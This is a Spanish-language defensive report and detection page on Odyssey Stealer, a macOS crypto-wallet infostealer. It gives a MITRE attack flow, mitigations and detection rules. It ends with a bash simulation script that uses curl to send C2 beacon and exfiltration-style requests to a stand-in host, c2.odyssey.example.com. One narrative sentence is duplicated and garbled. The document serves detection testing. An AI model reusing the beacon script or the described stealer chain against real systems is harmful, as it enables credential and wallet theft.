Odyssey Stealer: Dentro de una operación de robo de criptomonedas en macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Odyssey Stealer es un infostealer de macOS enfocado en carteras de criptomonedas y extensiones. Se comercializa como una plataforma de Malware-como-Servicio donde los afiliados alquilan acceso a un C2 centralizado y panel de administración. La distribución generalmente depende de un AppleScript ofuscado que instala un LaunchDaemon persistente que consulta el C2 para recibir comandos. El operador también puede reemplazar aplicaciones legítimas de Ledger y Trezor con versiones troyanizadas para capturar credenciales y datos de transacciones.
Investigación
Los investigadores identificaron el C2 utilizando etiquetas meta HTML únicas, hashes del cuerpo de la página y un hash de favicon compartido. Mapearon diez hosts físicos a través de múltiples clústeres ASN, en gran parte en Europa y los Países Bajos. El análisis de cargas útiles reveló un dropper de AppleScript en múltiples etapas, persistencia de LaunchDaemon, y un binario proxy SOCKS5 compilado en Go. Los datos de configuración incrustados en el dropper expusieron identificadores de afiliados e IDs de compilación.
Mitigación
Esté atento a actividades sospechosas de osascript, especialmente cadenas obfuscadas largas, archivos plist de LaunchDaemon desconocidos con etiquetas aleatorias, y solicitudes POST salientes a puntos de acceso “/log”. Emitir alertas sobre binarios generados por LaunchDaemon y actividad sospechosa de SOCKS5. Verificar la firma de código para aplicaciones de Ledger y Trezor, y bloquear dominios e IPs de C2 conocidos. Enseñar a los usuarios a tratar solicitudes inesperadas de contraseñas y “actualizaciones de billetera” como de alto riesgo.
Respuesta
Al detectarse, aísle el sistema, termine el LaunchDaemon malicioso, y elimine aplicaciones de billetera troyanizadas. Capture el tráfico de red a los dominios e IPs de C2 identificados para la investigación, luego restablezca las credenciales de criptomonedas expuestas y rote las contraseñas de macOS. Realice una revisión forense completa para identificar artefactos adicionales.
«graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[«<b>Action</b> – <b>T1566 Phishing</b>: Enlace malicioso entregado vía email o malvertising<br /><b>Description</b>: El atacante obtiene acceso inicial engañando al usuario para que haga clic en un enlace.»] class action_initial_access_phishing action action_user_execution_malicious_link[«<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b>: La víctima hace clic en el enlace y lanza un dropper de AppleScript<br /><b>Description</b>: La ejecución de código ocurre tras la interacción del usuario.»] class action_user_execution_malicious_link action action_execution_obfuscation[«<b>Action</b> – <b>T1027 Obfuscated Files or Information</b>: Carga útil de AppleScript ofuscada ejecutada via osascript<br /><b>Description</b>: Oculta código malicioso para evadir la detección.»] class action_execution_obfuscation action action_cred_gui_capture[«<b>Action</b> – <b>T1056.002 Input Capture: GUI</b>: Diálogo falso de contraseña de macOS captura credenciales de administrador<br /><b>Description</b>: Roba credenciales mediante suplantación de la interfaz de usuario.»] class action_cred_gui_capture action action_cred_browser_stores[«<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b>: Extrae cookies, contraseñas y datos de carteras de criptomonedas de Chrome, Edge y Firefox<br /><b>Description</b>: Recolecta credenciales web almacenadas.»] class action_cred_browser_stores action action_cred_keychain[«<b>Action</b> – <b>T1555.005 Credentials from Password Managers</b>: Lee contraseñas almacenadas del Llavero de macOS<br /><b>Description</b>: Accede a los datos del gestor de contraseñas.»] class action_cred_keychain action action_cred_securityd[«<b>Action</b> – <b>T1555.002 Credentials from Securityd Memory</b>: Extrae memoria del proceso securityd para credenciales<br /><b>Description</b>: Recupera material de credenciales de la memoria del proceso.»] class action_cred_securityd action action_priv_esc_valid_accounts[«<b>Action</b> – <b>T1078 Valid Accounts</b>: Utiliza la contraseña de administrador capturada para obtener derechos elevados<br /><b>Description</b>: Obtiene privilegios más altos con credenciales legítimas.»] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[«<b>Action</b> – <b>T1543.004 Launch Daemon</b>: Instala com.random.plist LaunchDaemon para sondeo periódico de C2<br /><b>Description</b>: Persiste creando un launch daemon.»] class action_persistence_launchdaemon action action_discovery_browser[«<b>Action</b> – <b>T1217 Browser Information Discovery</b>: Enumera los navegadores instalados y extensiones de carteras<br /><b>Description</b>: Recolecta información sobre el entorno de navegación de la víctima.»] class action_discovery_browser action action_collection_archive[«<b>Action</b> – <b>T1560 Archive Collected Data</b>: Comprime archivos robados en un archivo ZIP<br /><b>Description</b>: Empaqueta datos para exfiltración.»] class action_collection_archive action action_exfil_automated[«<b>Action</b> – <b>T1020 Automated Exfiltration</b>: POSTe el archivo ZIP al endpoint /log<br /><b>Description</b>: Envía datos recolectados vía HTTP.»] class action_exfil_automated action action_c2_webservice[«<b>Action</b> – <b>T1102 Web Service</b>: Se comunica con C2 usando endpoints HTTP GET y POST<br /><b>Description</b>: Utiliza servicios web para mando y control.»] class action_c2_webservice action action_c2_dead_drop[«<b>Action</b> – <b>T1102.001 Dead Drop Resolver</b>: Recupera cargas útiles de URLs /d/…<br /><b>Description</b>: Usa una ubicación de caída muerta para obtener comandos.»] class action_c2_dead_drop action action_c2_external_proxy[«<b>Action</b> – <b>T1090.002 External Proxy</b>: Descarga y ejecuta un proxy compilado en Go SOCKS5 para tunelización de tráfico<br /><b>Description</b>: Redirige el tráfico de C2 a través de un proxy externo.»] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|leads_to| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|triggers| action_execution_obfuscation action_execution_obfuscation u002du002d>|enables| action_cred_gui_capture action_cred_gui_capture u002du002d>|provides| action_cred_browser_stores action_cred_browser_stores u002du002d>|adds| action_cred_keychain action_cred_keychain u002du002d>|adds| action_cred_securityd action_cred_securityd u002du002d>|gives| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|allows| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|enables| action_discovery_browser action_discovery_browser u002du002d>|feeds| action_collection_archive action_collection_archive u002du002d>|prepares| action_exfil_automated action_exfil_automated u002du002d>|uses| action_c2_webservice action_c2_webservice u002du002d>|utilizes| action_c2_dead_drop action_c2_dead_drop u002du002d>|supports| action_c2_external_proxy «
Flujo de Ataque
Detecciones
Archivado de Soporte de Aplicaciones Shell de MacOS (vía cmdline)
Ver
MacOS Osascript Generando Curl (vía cmdline)
Ver
Escritura de Shell de MacOS en el Directorio de LaunchDaemons (vía evento_de_archivo)
Ver
IOCs (SourceIP) a detectar: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
Ver
IOCs (DestinationIP) a detectar: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
Ver
IOCs (HashSha256) a detectar: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
Ver
IOCs (HashMd5) a detectar: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
Ver
Detección de Endpoint C2 de Odyssey Stealer [Servidor web]
Ver
Odyssey Stealer: Detección de AppleScript Ofuscado y Uso de Curl [Creación de Proceso en Linux]
Ver
Ejecución de Simulación
Prerequisito: La Verificación de Telemetría y Línea Base debe haberse completado.
-
Narrativa del Ataque y Comandos:
Un adversario ha desplegado Odyssey Stealer en una estación de trabajo macOS. Después de comprometer al usuario, el malware inicia una señal a su servidor C2 para descargar cargas útiles adicionales y exfiltrar datos recolectados. La señal usa elbinary (binario de Apple firmado) para enviar solicitudes HTTP GET a los endpoints de C2 definidos en la regla. El atacante elige estas rutas URI específicas porque son cortas, se mezclan con el tráfico web típico y evitan la detección por soluciones de filtrado de URL genéricas.binary (binario de Apple firmado) para enviar solicitudes HTTP GET a los endpoints de C2 definidos en la regla. El atacante elige estas rutas URI específicas porque son cortas, se mezclan con el tráfico web típico y evitan la detección por soluciones de filtrado de URL genéricas.Pasos:
- Resuelva el nombre de host del C2 (simulado como
c2.odyssey.example.com). - Emita una solicitud GET a
/d/aff123456– imita el punto de exfiltración de datos con un código de afiliado aleatorio y un token numérico. - Emita una solicitud GET a
/api/v1/bot/– simula el latido de gestión de bots. - Opcionalmente, envíe una solicitud a
/logpara emular el tráfico de registro interno utilizado por el malware para informar sobre el estado.
- Resuelva el nombre de host del C2 (simulado como
-
Guion de Prueba de Regresión: El siguiente script bash reproduce el tráfico exacto necesario para activar la regla de detección.
#!/usr/bin/env bash # Simulación de señal C2 de Odyssey Stealer para validación de detección # Requisitos: curl, proxy de red configurado según los pasos previos C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # ajuste a la dirección de su proxy Squid # Función para enviar una solicitud a través del proxy enviar_solicitud() { local ruta=$1 echo "[*] Enviando solicitud a https://${C2_HOST}${ruta} a través del proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${ruta}" } # 1. Punto de exfiltración de datos (afiliado aleatorio + dígitos) AFILIADO="aff$(shuf -i 1000-9999 -n 1)" DIGITOS=$(shuf -i 10000-99999 -n 1) enviar_solicitud "/d/${AFILIADO}${DIGITOS}" # 2. Latido de gestión de bots enviar_solicitud "/api/v1/bot/" # 3. Punto de registro opcional enviar_solicitud "/log" echo "[+] Simulación completa. Verifique alertas en el SIEM."Guarde el script como
odyssey_beacon.sh, hágalo ejecutable (chmod +x odyssey_beacon.sh), y ejecútelo en el host de prueba macOS. -
Comandos de Limpieza: Elimine cualquier archivo temporal y opcionalmente desactive el proxy para el usuario de prueba.
# Desactivar la configuración del proxy para la interfaz Wi‑Fi networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Opcional) Detenga Squid si se inició únicamente para esta prueba # brew services stop squid echo "Configuración de proxy restaurada y Squid detenido (si corresponde)."